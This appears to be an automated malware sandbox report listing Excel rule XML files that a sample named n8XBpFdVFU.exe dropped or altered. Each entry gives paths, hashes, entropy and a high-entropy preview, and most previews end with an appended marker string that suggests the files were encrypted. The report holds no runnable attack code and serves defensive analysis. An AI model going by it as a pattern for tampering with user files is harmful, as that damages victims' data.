Preview:	<?xml6.....c... .n .CI[.9.mz..@..s%4.!..z.RiZ.]..Mk4..\|.K.........T"9.<._.u.....qv...N.p...~.j..6..b.c?.Q...W..8...9~$.%...c..../M...7......... ..!...m.3.....R........N<...n..<.0.....o>.........B~....8+...S.".w.Day.P.iT..H.$....v.....52...DN:S...v...a...."...H....Ee..7..3<.%.`.~.x.....].../.L......!`x....BU..m{C.Pu.M_.jt.h.t..f.f$o...c.....&y..o.=...[G]..6A....#3..1U.........5..U.......a9"...sy..0.v...M..K..#.^.I.....`M.T~.....G..P.mq.3s..srl...J.OPq...7~.......>...!Y.9.b.rr..-.nU..`..B../b......g"=...Wy.w.v.u...'..W..\|.a.uMp.A...x..,P.l.&]7.;p..\|s..;.l...9X".]=W}..M..... ..I....l.XR........:.f.cl?`.......!.M..y..utW.......o.K.NV.....-.V..SHz...NE.3....p..?...K...:.d]a..s....rM........=t.6k..zH.."\|c..F.`.t#.Zg.~..^..~$.&.WSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490014v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1084
Entropy (8bit):	7.799248716958422
Encrypted:	false
SSDEEP:	24:RvUc/Q9gOHYGIA+BkwgfNAvvOsQiesH+ctJp2GgbD:V49XyAmc2vaC+6mD
MD5:	3E47EA89916EE60B17591B39807BE874
SHA1:	2741958F8085684C512DA1FF65EBBF2A4A10E84D
SHA-256:	38343400566D8D4AFFE6740671CE7BA65E6C68917816B0F1B484A890B7E3980D
SHA-512:	65281730526E43DA7639BA9FCBC4FF0C0579BB9257C75F7EF5F8162610CD191D20D413D4C21D5601C3E09C1994CD61027131B71EE24BE5529A692121152246AC
Malicious:	false
Preview:	<?xml.<r...;J.i.vv.3a..g....G......4N.ER.A..C...[......o.X.sx0.....Ta.f......r.@.tL>.e..'.+.....%.......=....9RS.kl..h......J...GVO..D.X...(....5.yx/.v..I..0g/4...#...s.f.......\]......k....dS..%.d.D.\.oV..4+v...x..S!.>...Z. ..'.7.%.......Pz.7@&...$0A.!..\|..h.......AF@/.6r.U.....b..Z..gs.7+..N.0..zd...!..-.....0.\...c....7..L.L.]..%..=...`r...:.h..:...2..P\...!TT......2...4!...Z.cIg.7........$.:...;_..h.I...w.....@...$..u... ...75{.....n& p....^Os^......(}...s..KM......=..../..?#...-.zy..e3L1 +.f.V..*..FiG.kd0WD.Y~......r.M.Y~N.I....j=....x1'.7.u.....^o'L$.......0=..m6.H....&..U....T6..aO=...&h...UN..1=u.....+..A.+..v.A..e......4cX.....\E\|j-...l/.:.Lh....;.f<+}l`...Y.\k...4U)d[oj9fJ:'..?2o....Mb.......`..R...TR..k...., ..........+..t<.v..h.. h..q..CL...(..]..9,.s.8.>..J..}."xNt..{.K......8\|s....p.g...........K...\r.5...W...k.!....=.../.=+.rh.O.5.+.....=.....g.A..-........N....TEm%.;"5....X..`G.........-yQ..,?..bh>Pu..}.E..!<...b,.8`Q_[RQ

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	924
Entropy (8bit):	7.789395661631867
Encrypted:	false
SSDEEP:	24:5M472mgCwP2qO6D1zpsOLme4kK6bOEWfNvs7CybD:65PHO6BziOLf4xrEY92CgD
MD5:	B79823CD6135E0E232C7D545ABB446C1
SHA1:	E2C4B45648D2AE49D9CA479EFF70E31B280F2A10
SHA-256:	135401E49F05A8A573AE176545B51D3A369FA5438184E38CBEC323B66970D6EF
SHA-512:	FC05BE6485CDBCDF2B1574DAB385B58FA6999A3C3E5BE7A0FDF6E77AF7AF4CA31024063D7E68F6DF68A44A7D8CB03F6DAB69FD444E478B0CD04CE7FE4BC9DF8D
Malicious:	false
Preview:	<?xml9....%.x..&z..Wt..J.0.........5.l.Fl:.M....T.....I.}$.....xQ.3.......5...a.U..h..".C.V;.......\.... .p..g$.,.ue2.z8K.%Pr....1.'..s..-.&...#O.Qu.).....BE.._tU-..{.u.K.x........M4.[cKM.....;K...0..(....h....I.N...,rh].Jp.a..pi........a.GF.26O..U...[....f..f......q.H.F.P....cH.]...l&I[...b/..)e..z...r..\P.......!...r.5./..`~#....X=.yY.g.)R......v...8.\|.k......Z..@]@....vfY}...U^.G?.pT......J./ufj..k.V...l..33~..lhl..V2R..`.........`g....r...6..^..y.C.].S.j...dm@E...P..2..k90..W5........r.....@.}.."f.a.%....jA.P..Z9.H....>.+lUM.9{.8.$4.........4@.a....m.].:.....#47.E."...N.x.}>.....n.Yc....m..2q..cR...0..L:....:..m....$..#.....t..o...!..T...T..@...om..D..e).@.A......._..TF.$0.+W6..K-. f..[.{..6.....`.`.......[r~V.%.....\|C..R....%..fo.H..s..x...>.. ....o......(.....vr..-..p.....1m5.j......D.i.1SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	7.82027776743185
Encrypted:	false
SSDEEP:	24:4ax36lnAl/Qv0qYWr2IqhMLcdFl4/hSZ5jev+EvAaSVUbD:L6lTMqTa/CL+Fu+2+Evo+D
MD5:	0C6E1638885BA20A1875BC2F85F555AB
SHA1:	A408F4A7AE017ED203D140E32ACD68206FBC5BE4
SHA-256:	5B2CCE93741E9B729C8F1307BFAA82B3643F4C75D980B6AF2B66462AD5875084
SHA-512:	2478CECA3CBC0B062CD7B5E7A6C5C432FA9A76AB8FE2F65B8109E9B8A9380940861510912709D91BD7E4B7BE0098829AB8445E68ECACC030657BBB15E5CB8095
Malicious:	false
Preview:	<?xml..,..!N.............,.K+.\|.,w....]..y..s..0..Q.C..7...=.4........p{z..$........z.I......1(..<.b..I...~.......ww..-.S..Lf....7.}...V..La..d.X+.J4..k0_i.g...K........^.....F.C.@.6~.C.q...M........B}........._....=.K....Fa.9\....IsZ..5.i2.<3.s.I....d.....Qn.....k......1}.z.../%n.t...Gs.>.$..FZF`e.!.M.......oD[.\|..t..+.e.}D.l..?..<.....2>.<..g..P.R......Z..=.m..!....Kz....Y..9a,.........oQ.Zr.!.....k.DI1:..4.....M.8..9....#B...\|...Rx.......>......Y.9......`...)..Pfy.....Fy\|..K......q\%).k/..{.=.t..d.p..F..j.....E.U...J`..A..-.!..6.....rq.]....mo'......n.?.32........2.{b..).....3%..C.h.5..?.a~7...R.^.....<....l..........KO<..Zi....f-u....'l.F.b..C4.{.<..&..zT....;.L.{D...j.K..;.."...v.S..p...1.bh.... .....S.WgP.%..BUv..V..2.<.V.uoqU...h.._./.ja...M.N..vN.A.~F..x.T..e.?.`..P1#.........zh..$C%..f."$.....v....E............+K./.....}.^S.!D...H...E...eO.!n#.'..J...#..%..A..G.....+f.U.h..,....Y..{L.yZ[..@.O"......L)....9.M

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v4.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	7.816574938621011
Encrypted:	false
SSDEEP:	24:sf9fT2pI0GsjW77nhoYRGgaquNliNr8W8V5yrStbD:sf9fTNBVSsNr8N5ygD
MD5:	3DCE8E9A48018A52F2C7A81B3031ADBE
SHA1:	1C0AD9162E981B1860BBB496FDADCB76541A64F7
SHA-256:	5D5F1941E5CFE1F3C3DDFF38FD285EBF3DC17E3F3986B3735261A3F600403727
SHA-512:	9DE881C9FA0EBEA0DAC9AF0F27E5389615860CE4C9339D17CEF7DDACED98EE8FCB71BC1C2D5E9935FBF3C6B0DE901BEC8C3E7748FA9EB16EFF7BBECBF0FF42C2
Malicious:	false
Preview:	<?xmli..I..hK.`..J..tB.1,5x./....d.5....ln..:.9...........,.......u......,y..C.Z...C.Q....\.8....[..8..._._.v.k.A....m.v....M....Z.....aC.rVH."Y..E.0.~..HLX.ni..#.#..9..2..0...H.L.?Y.S7r...q.....v.;..B...6...n....$SUb........3.&k.LXr......q......S5JFy:.Y.J.E.-.....pE_$...4I2...e6g.`..2.../,....G]....'.6..&...p.B.'.}.g......45.=.y.6.]q\|..?...$.."._2../..1..K .m,#..Z.iFqo..y.z).\c[].....)..7.....z..P.Y......UQ..^......X...a.A.....]...G....9....'H.0~xt...8...wC.L1.:anutQ..4.9.>!........A......_,.../:..?.i..<.QB...U.q...H.U.......8P2V.}C2....nB..\5.?...>..`8...(U.().U......1..d.'...!%.I.w..D.......b.5[=m.c..l...\|..Ot.m(.,c..a#2(.R...,.-.ZS.....@Qq...J......oH:k..j,]D3....JM....#..........,.....\|..k.(.c..Z:..A.~5.....If..Z..T.z.p.$.%P}1s..g.J?g...?.a.....\Y.:.L...G...x'.'YR......:...(r.........."..S..y..}.z.........Z.=.I..%.T..]..g..;........U].[.7.^DZw.Z..f..g...'@....V......V.1....k#....<e..,.x;.....P....M%_+ZQb.z.oN."

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v5.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1108
Entropy (8bit):	7.799203254424692
Encrypted:	false
SSDEEP:	24:mC9HaZ/h03ogse7Sx/mPasIRpQC6vOXMbiYbD:mCw503mBtmC3RihmXKiCD
MD5:	4E7832ED509FBB996FD1EF7BEC0FDF5E
SHA1:	B1D04603C13D5407F0670B3CFF895D40BDBC9047
SHA-256:	F978A4EC4982FF913627A1D2140B48181823A100BF55EB9F1A9AFF846FECCE5B
SHA-512:	554A22C16466B076C9FFBACEEE3E6BA648A6AEE89691D287993E7E37193068EED592537B7B197FEE35459CA4882AFB8D7BA3B4714F3E4DC134434F63C5F3778E
Malicious:	false
Preview:	<?xml...v.Pku.)..S.Z.z.`....@.i.%.........O,".g.d1..{.R._..H4.:."8.~.....Mu.x..y.d!..0.>>f1.<....}.JBS..+.\..R.i...V..tZV....%.6.....7]d4.5].....F.Kv...gt."..B....M..;..l.qh..p..2.y...J.....ms..H........K/..[.....0...L2..l....Bt..-...G..U.q....D.)...d.C....B.7.....W4w".....hy..R..).....6rDH/.V...(.\.9"....o.tv.....u.......{..p....=<...:.IW(...)..Z..-.I.......dy......\....~@......9.s..`T..?.}...!R..f<.....F.f!..l..J\...D,u.^.W.ku..O..PS..vJ.j.......W4..........5#...8.n.D.....(.......k?.hL#..p..o.k&.sH1..A".... ....e-..JI..........(..gL.V.lh..x2-..=.E...F.B.7.R../c.rt.ID..a=.DJ..RH.$6._.`...K...d...4.g..e.6.z..USdN{{.WO^.+$.n.5....._..-V._rs.._^...4nI1.uh%..ii'bIIF....nDesF\.,...t..n<.,....X...........6...j.4...(\?.......P..3A..c.r......knY.0)}iM.e....x..R.".f.M.%."....%....go5..1..Oj{F....."<<..;.F.Tz...>..].4...Y..&S....(..`.m..@:.05\...DU\|.6.......-.NSg.La..../F........8...TYAQT....9...n...?...)vl..+5..>.k.5Z.$tN./_...hE..M..q.bv..cB.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490018v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.786378313904236
Encrypted:	false
SSDEEP:	24:Q+lPtmBzTt2SytXVgjQ2pvIgKPwJhc+gXb1GixkgNNdXbD:z0zyFgjJRSwHcRXbYGL1D
MD5:	947E8ADDD1F8CE7BB5AE7C0D6F701E80
SHA1:	E378B8DBC0DE1A796B05C79E479C6678F64BE721
SHA-256:	B7229BDF240FE4F488B5B0EA9EEC9BDC91E084EB8C3826BF3EA8D30261F97C66
SHA-512:	55C533288A85202371AC2E257B58EEF91539DB3CC7A0BE80C15A17C06FB117C5872B4BDAF5F1470C6CB93E5DEE48BCC1617D49B65234EAB9A469485F9D1AA2C4
Malicious:	false
Preview:	<?xml1g..!Z.M.^.2j........x....h9+J.....1.......ZN...$l...h.W&t.).......9...3.k;?:..!R.....x....<2.......N~.ob.d..i..U...&.,.)1./.D..'...S_B......(2Q../ag........5u"7.-9...H.ZG............h}..;.......T.<m..b.o.......>L=.'5VNH...:.....o.e...;.tq4gd.`1x..7:9..F...b.j7.VH].a..../7...IL<+........K.p..\|6.$.u...8-+0"....>.#.w.....2&.N...h.B..1.t.D.H..>..NG..=.[W.&u.3..(.J.)5..-.k..Z<....o.]{.....,Y8......(.(.9."..W..`..&.O...0.;.H;.....E......q#................?...t..Ah..~..7...b,;V...+V8_j...]aB.7.G.+;.Qu..07(.S..W..)...=..Z"k.._p.;.zm....X.."4..>$.X../.;........p.....6...nS.N-)fd.[.f'...AjP/M.[....B_j...(1..`2......(....xD....<......m..U.r......b..6.C$v2....D..9.......0p.Pv...].A..4....K...t.C;.e...W.%#.,q.c.Q.N..K~..%I5.....r'.\|.Z.R..+X.. A.+#.........g...U.>'f...3..{....+..J.n....^y......"..x...R...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490020v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1126
Entropy (8bit):	7.797648870845208
Encrypted:	false
SSDEEP:	24:pSmdXrlu+HGOYEvIWInnVNm+AbcuL1V8PouGjGa7bjbD:fB4uGOmTVY+GrL7bD
MD5:	1B1469FA973EF6AC92BEFB750DC3EB52
SHA1:	50D42729583777FC7A4BC7C655B6C5E96D2AE6DA
SHA-256:	3372E9A4A68F5DFCF3C6490BA0AFF070C56B7A112FDF5B1FA15D9AF3BC60BD26
SHA-512:	A9485E08B09D6A74492A374B9E4EFF26C0455BBE27A91047B22D7F93CC1D1F5E396E20A72D97ECDD00DBE100C1B899E8D5A20CB55C022D81C471A1FB39475C4D
Malicious:	false
Preview:	<?xml..g../..6.N.......P'.6LZ.[.?Tig......z....../..=.e.\........h.'D1b.Dy].q..PU..$.$.'..F.PoZ...W....u.\......?.\|.".f.l.n....!....`...~.w..R".........6..z..U.3.C...Y.R.>......$P.8..d....g........w)..U...?....@......+.._..y..tM....W....w..?....s....+..@jXb.F.7.....r p..6?!.8...".u'+]...F..B`a..\ug....~....].,J\q:.P.6U..+]....~...q.Y..Y\'X......}.~...a.l..4`..+O+..7.....b4. w....G.....8^........9.DR..x..8..7.b.B&RF......6....Bz:...,V..6).OAR Q.!j.z.3..m..<hn>..f....OX7.f..k..L....aMn.R=kub..a..d....,..m<..q...Jz@.....B..i5..!.].!pCwL.K2s.....%U@l"p..4.pX..Q.N7......MS.P....c..)....R.O......8..r7RIpp...G.cb..$4...OE..(..!V.....\iP...=...s.o..,.W......A....IX.g.....G.W.c..N.4q...La..."....4.YV.X..33......C.y[. ...H.>....Vbi...1...&....<XA..,.t/G../"......t1.?...k...ZE..+W.=...&.w_c..LD.z..}.#\...4..8I...LK{..fHa\.c........K\.9.B$6E?..Q..w>vn..S....1..>.....EN........2.....S.......Q87v..Jd.t.@r..E...N...O.5.-TH...&.53.:...h.!.?.N'....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490023v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1243
Entropy (8bit):	7.847179141324853
Encrypted:	false
SSDEEP:	24:Mabc8jYt75qPdm5GTROo+aa+YpTP2JUZ+nLwbFWSJlbD:Moc8w538gz1pTOJYtbFrJ1D
MD5:	5A85DFA4E06E3B2402BBE0D2ACE52AD6
SHA1:	8979B2B9C0ED2BBE983ACADCB59B380A1ADA5DAE
SHA-256:	CB92C2C76D59651720DE8A9806F4E5DAD9E1E04ED2540A11868D251BFBB1B96A
SHA-512:	C8730A02EC2E2D92AD90C24BBEE110363D5EC6D1467541D77F7C75AD4747F2051848CC7C968FAF1C27D05E3E6C9844DE86171CA393BF4844C7B60CB541B9286E
Malicious:	false
Preview:	<?xmlY.J....k...YZ.nI.#">........j.....1.y..y5CY.>.IkSl.7..-......@.S.>.n,.."........M.....3.....(T.[..UL.\..w.&.A\|....v....X..T2..A..h$..8...?..H...)..._.c.x.=.....^......@.o...8..#.Y.j..~X..`..0..x2<.........}w..S2mJ..?...1..M..R.IJ.D.<......g5R..s.u.;f./.55...ey7.J.N4ao.3.j+..4/....p....'.s...,S..z.z.9.]d.E..s.....t...;....j...d5......i...T.._.G..Ua.^.....I.aqy..1..\|.w..t.Y..=.e..Rd...<..5.,...iy..t..P.&EB...4\|.<.:'.V..X.i.x....x@.e......ZD.Z.F....@.....}..~.V.eP.D.....p.....5. -p..%...`v...h...Y..........]....B..`..^...$.MM..V.....\:.7@.P.6O...`....X.&..N............sQ7.."..`...cLBhf..X...o.......4N..].P.....kN....3......XuT.I.A.G-.M[...G$l........[EKx!.A$..V..^Z...vT./..W..._....<.}...........'.......g.p..h..=...m..6..C.....W...6....\|../....j.l...Q..=.c...\|JW..g..t7d..R..U%.F....U.z.....lZ.......\.U.h...._..5..(..P.tj....u./3.a...8.i.\|y.b!:...2=....2 \C..Px..c..\|..Kn....aVSr...H.....A..kt,....F......>..(........,qB.F]..8n1k.t.>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490024v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	871
Entropy (8bit):	7.735723621869573
Encrypted:	false
SSDEEP:	24:2yJB9zFrdPyee83AXY1F4D6TRJJ68M1h9jlAbD:5TRdPyN8wMLVJQjUD
MD5:	ED095CB9B45B7C1C776917400343604C
SHA1:	3ACED688AB8330594C03700E688ED400E5F93890
SHA-256:	986D13777D95EA286106B630D5A15F94B26B8AE188BA60708A1A45A78735EFD2
SHA-512:	71D723A760AEB7076F48F401FD943A86ADCE8EA9C2BF89A9D9247FE2BBF54E3E64EF109CCFD9BF9432D5A043FB1CB26CD38F2A67FE153F6A3B07604220348C95
Malicious:	false
Preview:	<?xml..T.&..d...2K>..J....>PN.Z@.cU>....-..Q.......H......I.=.@..f../<.3S.`..e<...HdZ.......P...#vm,\|n.F.V.....Q$.j.....d.@% a.C;..... r.B~...2".@v1?.....\|A.h.!&..y......Q.."..5"Ih..k..+c.....;..3z. x.....o2cQx....O.m..I...Y....$ ..^.8...{&.GC.ay..Q...1...Eh%{.......d..d..J.......<.LA.. ....blov..FHI.#..<.VTxyH./...h ...\|..y_:..-G..M...].....J{nU.iU.~j.\S.k.^M....L....0H...V.X%n\|[....YF7.o.._...#.kwR\|(..........4TA.Xd..C..a.. .M..7.o...Fu.?f........_....6..+.Ar.v..?b...4..~T.1..1.9.d.u...a.o;.z.......^..=t.z.m.7.O.3.i. .I.9.x..g.2.Q....{..%..o;.Ix:.......d7.b....R^.~h...w.........?.@....?...d..].F.5p.iX#..U.#)..J.xd&.....w.[xp.V>>.p...e..$..`......M..G...@.Wr%.6.)d.......b...Q..Qc.G....x..E...<...?.0..T..s...wMI....?(8<.Yx...w.~IBf....+cSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490025v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	866
Entropy (8bit):	7.748770520214892
Encrypted:	false
SSDEEP:	24:ynkv5bM2mOp0lz4TM5dlmnaoE/oLNdjTszQZMybD:yup06Ysar/o7HBzD
MD5:	9E61DF0F128B943958BFE8976ABD452C
SHA1:	5BFC7604DC763D490E53BE7445A23FD97723A9F9
SHA-256:	A6CED1CA309960085C2BB71E8A4DCF133B2273794449BFF83403F57C39B1DF27
SHA-512:	DFBC89088764346926FB70137AE21C6FC16F2A69345B1033203A7B39C2AE2361591C29DD85CF2FB2941D7B0D8DA6FEE15517C0F8DBE8ABC4C5B415D04B953D03
Malicious:	false
Preview:	<?xml..8f.`!.R{<..ol...<.....4:H..Dg.....;f...6.sh..%.l].Y_.'XY..h.......8R...ob.\.A.-.)8E...[.'......8{.0$....9......<..ZS...>..K.}...8..../.x.....ea3..O...M.._..+...M..o.y......p.z....R.3b.%W..2..t.'...Z....s.s........\|C...+.=...w.<.........e....^...% ....I........6z.z:...........-..=.T.Y;..<.J....g...._..ra".w.o.+...W..h....7oA`h...N...Z..1.>}.c.......ML.....ac.m.....xDC......p...d...........).L...z.A,......K./.......B..?..h;;t..m...!.(.....z.$.\|K.z.K...i..3..R...'a.F.....T......w11...........p&.....Q.M#...(T]..-.+...l.=.c...cN.9.6.K.5.~..TQ..s..j....c1....-}}.)...1..s.~.LHuh../:<..#...j.c..L.d...$.....R.{....~ ..*..SB.]."..G.2..i1'`C..&..\4..{w...sy.4]......z.0.z>Xy..K..Y...i..L....?^J....S..............'Cz......3....Z>...QZ... .zV..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490027v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	860
Entropy (8bit):	7.74841098550136
Encrypted:	false
SSDEEP:	12:9CdD/zo9jaR39+UQ14vECh1KSxwM9uh/5URnJONbTR+U2H+YQMJc/ozU1+cii9a:9eD/z+aR8UgoEyweEORwJMOYQM86bD
MD5:	02A3A58E477E4664DB7CEBBECC070291
SHA1:	1BA64307B3E44C82EF2273C674517C13A406C22F
SHA-256:	E067FFEC828096970B8C04EE70471C96CE3C625DE08C027DAE04FCD801F8A618
SHA-512:	D8888E29B92EBBB796AECA3AF6DB85BD3CCBE28FCB447A024026CDDF73DB7EEF4842B6ABF81351ADE1FF2F16312A13FAD20F9049E16E531BB85EDC343E1F5A9E
Malicious:	false
Preview:	<?xml..WrG...(..K..t.i.dYK....8L..sD..(....].(....r...P.G... .q``....z.m..@...'0tpl. ..J......wV/.vL9..eN...vB.a\|W\dv..L.-....8.....}..Z.V(......o!.p`....{].c...Y'..r....!.u[.m..St/K.U83...]7..BLMz/A5l...L:v.z....DA,.`.d.3.Y.V..7..zzkn.....x.-..K+X._y-..X..?#...:5........c.K..N......&...<u1.....)....n.W.;./+8.....^G.6.n...\..VgZ.o..........7..<..=*.J<I.5<......b...eE..1UJ{..G.@.$...ejP1......J.;.9.../HJ.W.U..9.Q]n..x..q.6.4v.._......@...3...)P&..)`.-....$....,#...m7xsz#.3...5..6..a.;U>...T...`j{..{......D.$~w..}W.G?...U.....~.<...E...~...B..#.7..?..P.[........../y.tVdi7...T6.Z...<b..&!..uaiC.o)=.i.F...3.T..5....."I..&....E$.<.C.u..R.@,.....>3.?.2...;~,ro.a.#O=..}...+z.Z,..........7.,e..ULF..c.U0..%Q.)k.-....AS@N...}G.8.z.D.N..k`........SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490028v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1057
Entropy (8bit):	7.822962635799483
Encrypted:	false
SSDEEP:	24:0IhytNRvBcoZT3icUlK7drJyzNXbHLehRW59n9cUbD:XytT5coZOirJYLehRWHhD
MD5:	94A6C61306AC8559FA30CD0D99E65DAC
SHA1:	A16F46CF938C567881C2027DDC7086DF874C843A
SHA-256:	202AA4A6A2F531772A48E26EE559FC6BB454692CDE1B67C147090B1A98E15848
SHA-512:	284297268170CA93C3A2CF09F75AC1906E3487BDB4436C458F125CD40BB48B8B061B4B7273B63935F54B7E8EF7C601750E6EF9FF7BA2223A3FBC2019DD226E42
Malicious:	false
Preview:	<?xml.....0D%...y$.]....fw._.~..\|]RgI.R.w....'.=...#..WW...p`.Y...i.M.0gek...'%?!.d...M.9z..g/%..P.+...@...[.0.Z>.E...$...$0.a.{.1........x..p4...2..i......u.h.)O..........5n..P...~.......\|.!..K.9.q....!..-.)....>..F.<...+.........}r\........O.m.k...}}zd..3..R..S...t.$.. .+r.!...._..G.*..N.....ix.Z..s~..x..X<..KT..RQ..... .B..=....X..6...Ws.fI..f.0.^1B......)CL.%.. .hx<...e.{..v(..&...,.MW.%js^...U.K....W5.....6=(..Kn... ...IK.....M...{$..s.ai....!..2..].Z.v..1...vIy......8p.{....\|,GSF7%.5.f.....:.H...o&e...."..&K...~A....>.::.]I....>vz..&-G...4..a8qX.<.z.6..#Mv..N..<.$uSy5:u.A"6.ae.I.K.....o..}...d.n.A${..e.H..A....X.}.....U.k_<zip..../8>..Jv.x..<...v..f.f.Z.L3.DJ.J...C"O....tD....).......\|..../...0`'....;.c..a.=:..k..].m...S..P.....B.?..3<...K..,...7.%.HT(...vmX....0.1{c2v..S..w.l......o..".L.G.S..B..x........r..%HY.LQ.;......A.Ps...iKO<-.1.Mv....b`.L...J.g&.T..)%1+~'.1.=.M~..1.C.:.).f..#.......-.>...V..F.k..Lz..4SLibyJ8nZP43K8X6Ycor9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490029v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	766
Entropy (8bit):	7.742319906127013
Encrypted:	false
SSDEEP:	12:LmMhdZ/rlnBgLS0wzAMtaYOE26xpyvIn67hvK3ONY2+UDRYk6ZYXfUELBnHI1+cq:rB7gmZtdOEdxpQPhi36Z+iRY3CLDbD
MD5:	922B4BAAD9E738A00E3DCB410136F550
SHA1:	AE6C9780D85DC3141F163121EB95984E117F8218
SHA-256:	F2F4DD8DFAFBC489AFBAEA35DA4862A2659A0153D944B5989860BAE08F97831E
SHA-512:	4AE8ADC597892795D540F4A1B61501014A851B3564A28E1D591C76C51D17E32EF8A4BC74F6F258527936D687C8A0EFE8CA162EF64048C2E9108BA66FFB7760AE
Malicious:	false
Preview:	<?xml..g!..7...m....^.Hc.,...~h..d...@...:..y...3.]..]...&..~\|.F.(..$......9V......V}...,....!...v.8s..j@f.._..}5.}Y....."...(......V.mD=_..h .. .A..@?...."..4..0..l(.T....,)....;.y}..@.E..U..d.[(....0...]..p..T..+?..e....uQ.R&..&......o.-.'...~....#U.]`U..^Sa..<x.....%...o.:.....H.....H..=..T\.c.Y..Qp{...!u6..a.+..\y.2..e).iBez..0?....VB/...(Iwyq.%........%.V..@.....<...Z......G....[.....$if]&....<..\|}RjK.:.x..::..W..v+...y+..r.3#....Cj...%0dy......}#J.\F=".!..g-..+?...<...z@.o.....J.%.9....[.+n...NZZ.'.]w.7..n9\t.......M...D.~...l.`.Y..'.(!..-../A.A."b.o]......[..#..M.(c7T..zq.g...."n..:...{ei...!I;p{.S.#.@A...(.g....+..(.......Eu.7...9....S.ESLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490030v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1037
Entropy (8bit):	7.778431247996141
Encrypted:	false
SSDEEP:	24:wmcUKhfXm4bDSpzHyv5lXjMR4C+MLHebD:wmAxm4bFXYRioHcD
MD5:	D73BDF60E9A151428BD6EB9353ED3E84
SHA1:	E49FC1D1A47A62F638571B41A447CBADAA2C4A21
SHA-256:	8686869631636DEA3A671BD05109DA71A2CB5758AB594DEA21503166648C5E8F
SHA-512:	2FC9BBAE4DA6FE58AF72BB51429914E8110E7A20FA20FB92DFF33A8AE720516681D24D25C47836AD1C4C7417D99CCDEBB442FBBF3C70C326B76BCFB7626BD05D
Malicious:	false
Preview:	<?xmlb..t.$....x..6..GkW...e.S~.}.............'--....'......6.<..,H.)D-.. 1Q..x^US..o.q.I7........IjY~.i.F.5...q4....4.....m...$.l...n...W]RO.lr.<..1..3JW.. .....Z...%.\.yb.N_F....=\|.......,.&.....o.P.\|q..@z]~.S...B...>.......,'h...!..qwb..l2,........q+.J.9.k...a.i...-......6(M.f..r......8..I..Ux.$..........D)......0..2...........oNJH',..R...@.\|.U61b..4......~....z.z...y..R.)g..a.l!...}.B.R9..K...`...)...T.5V.z.s..........:.db....&..Gk."R...H.._gbn...o.7..:.C.....H...\|oU{...i.rgX..r..\qq.v.6.......1k...h\|.r9.....7.(...&c.?..b.....P@.T.......h.w.7.-+"..t..v...@..\...$..#.b-.....L.(#=a0^...L".T8:N{..]5.1W..\Z.t.........H..F.....n.....o....B.....[.PG.wv.._.......'......Uf"..;{.+..F .....;..........}......[s.E..`...2..:r.x....1.x(.1.HK..o#%i..Iw..8.E.O.......$.>D..S."D.`e..0....:X%..vD4i.W.^..j"U...U...xX.z.._...D..".w^G.Cb%H...q~...rb.,.\|.$....7h......q.........F.........#G.D/.. 